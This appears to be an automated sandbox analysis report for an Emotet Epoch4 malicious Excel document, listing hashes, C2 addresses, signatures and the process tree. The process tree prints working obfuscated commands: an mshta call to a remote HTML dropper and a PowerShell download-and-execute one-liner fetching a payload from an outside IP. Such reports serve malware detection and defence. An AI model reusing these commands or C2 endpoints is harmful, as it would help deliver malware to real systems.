emotet | 8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1

General

Target

8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls
Size

70KB
MD5

54a404bdf97dec3861e86661501de08f
SHA1

d265c805ce856e563e54b014495ac663c9181d3c
SHA256

8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1
SHA512

09a4bcb74c1018711277aea44df07a25b751903bf97b27ecb16e30acfb9563219ec1c0f3d654095e8f8bc14224dcbd5247b8520bdb13fdb2ee7740049a647bc8

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3004	2632	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

23 2984 mshta.exe
35 3592 powershell.exe
39 3592 powershell.exe
40 3928 rundll32.exe
42 3928 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1524 rundll32.exe
2552 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Mojgglscozx\zmkyswtwxyfsur.aen rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3576 2984 WerFault.exe mshta.exe

flow	pid	process
23	2984	mshta.exe
35	3592	powershell.exe
39	3592	powershell.exe
40	3928	rundll32.exe
42	3928	rundll32.exe

pid	process
1524	rundll32.exe
2552	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Mojgglscozx\zmkyswtwxyfsur.aen	rundll32.exe

pid	pid_target	process	target process
3576	2984	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2632 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

WerFault.exepowershell.exerundll32.exe

pid	process
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3576	WerFault.exe
3592	powershell.exe
3592	powershell.exe
3592	powershell.exe
3928	rundll32.exe
3928	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WerFault.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3576 WerFault.exe
Token: SeDebugPrivilege 3592 powershell.exe

description	pid	process
Token: SeDebugPrivilege	3576	WerFault.exe
Token: SeDebugPrivilege	3592	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE
2632	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2632 wrote to memory of 3004	2632	EXCEL.EXE	cmd.exe
PID 2632 wrote to memory of 3004	2632	EXCEL.EXE	cmd.exe
PID 3004 wrote to memory of 2984	3004	cmd.exe	mshta.exe
PID 3004 wrote to memory of 2984	3004	cmd.exe	mshta.exe
PID 2984 wrote to memory of 3592	2984	mshta.exe	powershell.exe
PID 2984 wrote to memory of 3592	2984	mshta.exe	powershell.exe
PID 3592 wrote to memory of 2636	3592	powershell.exe	cmd.exe
PID 3592 wrote to memory of 2636	3592	powershell.exe	cmd.exe
PID 2636 wrote to memory of 1524	2636	cmd.exe	rundll32.exe
PID 2636 wrote to memory of 1524	2636	cmd.exe	rundll32.exe
PID 2636 wrote to memory of 1524	2636	cmd.exe	rundll32.exe
PID 1524 wrote to memory of 2552	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 2552	1524	rundll32.exe	rundll32.exe
PID 1524 wrote to memory of 2552	1524	rundll32.exe	rundll32.exe
PID 2552 wrote to memory of 3944	2552	rundll32.exe	rundll32.exe
PID 2552 wrote to memory of 3944	2552	rundll32.exe	rundll32.exe
PID 2552 wrote to memory of 3944	2552	rundll32.exe	rundll32.exe
PID 3944 wrote to memory of 3928	3944	rundll32.exe	rundll32.exe
PID 3944 wrote to memory of 3928	3944	rundll32.exe	rundll32.exe
PID 3944 wrote to memory of 3928	3944	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2632

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3004

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3592

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:2636

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2552

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mojgglscozx\zmkyswtwxyfsur.aen",bvQjWIS
8⤵
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mojgglscozx\zmkyswtwxyfsur.aen",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3928

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2984 -s 1912
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
306996c9e96bc21cc31edbbba54a6ee7

SHA1
239554b8f85941fc2d2b14a87c0855fb284d6f7a

SHA256
30acbae9e62419cc4a5779a285b779bfe6c2dd30214ec65f712c242063c76ec8

SHA512
75aea841a0a6a34d9e18240226824ffc5e0c12ab2e7833ddbc311df7a1bc1507143766e26fb0ec787ea94efa37ab5b0e539f2ce3e5c2c798c285cb9a621cb0f3

Download Submit
\Users\Public\Documents\ssd.dll
MD5
306996c9e96bc21cc31edbbba54a6ee7

SHA1
239554b8f85941fc2d2b14a87c0855fb284d6f7a

SHA256
30acbae9e62419cc4a5779a285b779bfe6c2dd30214ec65f712c242063c76ec8

SHA512
75aea841a0a6a34d9e18240226824ffc5e0c12ab2e7833ddbc311df7a1bc1507143766e26fb0ec787ea94efa37ab5b0e539f2ce3e5c2c798c285cb9a621cb0f3

Download Submit
\Users\Public\Documents\ssd.dll
MD5
306996c9e96bc21cc31edbbba54a6ee7

SHA1
239554b8f85941fc2d2b14a87c0855fb284d6f7a

SHA256
30acbae9e62419cc4a5779a285b779bfe6c2dd30214ec65f712c242063c76ec8

SHA512
75aea841a0a6a34d9e18240226824ffc5e0c12ab2e7833ddbc311df7a1bc1507143766e26fb0ec787ea94efa37ab5b0e539f2ce3e5c2c798c285cb9a621cb0f3

Download Submit
memory/1524-594-0x0000000000EC0000-0x0000000000EE6000-memory.dmp

Filesize
152KB

Download
memory/2552-606-0x0000000004AF0000-0x0000000004B16000-memory.dmp

Filesize
152KB

Download
memory/2552-618-0x0000000004CC0000-0x0000000004CE6000-memory.dmp

Filesize
152KB

Download
memory/2552-604-0x0000000004A90000-0x0000000004AB6000-memory.dmp

Filesize
152KB

Download
memory/2552-602-0x00000000049B0000-0x00000000049D6000-memory.dmp

Filesize
152KB

Download
memory/2552-600-0x00000000048B0000-0x00000000048D6000-memory.dmp

Filesize
152KB

Download
memory/2552-608-0x0000000004B50000-0x0000000004B76000-memory.dmp

Filesize
152KB

Download
memory/2552-597-0x0000000000C40000-0x0000000000C66000-memory.dmp

Filesize
152KB

Download
memory/2632-654-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-128-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2632-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-653-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-655-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-656-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/2632-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/2632-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3592-465-0x000001CEAEE10000-0x000001CEC6FE0000-memory.dmp

Filesize
385.8MB

Download
memory/3592-528-0x000001CEAEE10000-0x000001CEC6FE0000-memory.dmp

Filesize
385.8MB

Download
memory/3592-389-0x000001CEC76B0000-0x000001CEC7726000-memory.dmp

Filesize
472KB

Download
memory/3592-385-0x000001CEAEE10000-0x000001CEC6FE0000-memory.dmp

Filesize
385.8MB

Download
memory/3592-358-0x000001CEC71A0000-0x000001CEC71DC000-memory.dmp

Filesize
240KB

Download
memory/3592-277-0x000001CEC6FE0000-0x000001CEC7002000-memory.dmp

Filesize
136KB

Download
memory/3928-620-0x0000000000E90000-0x0000000000EB6000-memory.dmp

Filesize
152KB

Download
memory/3944-617-0x0000000000EB0000-0x0000000000ED6000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads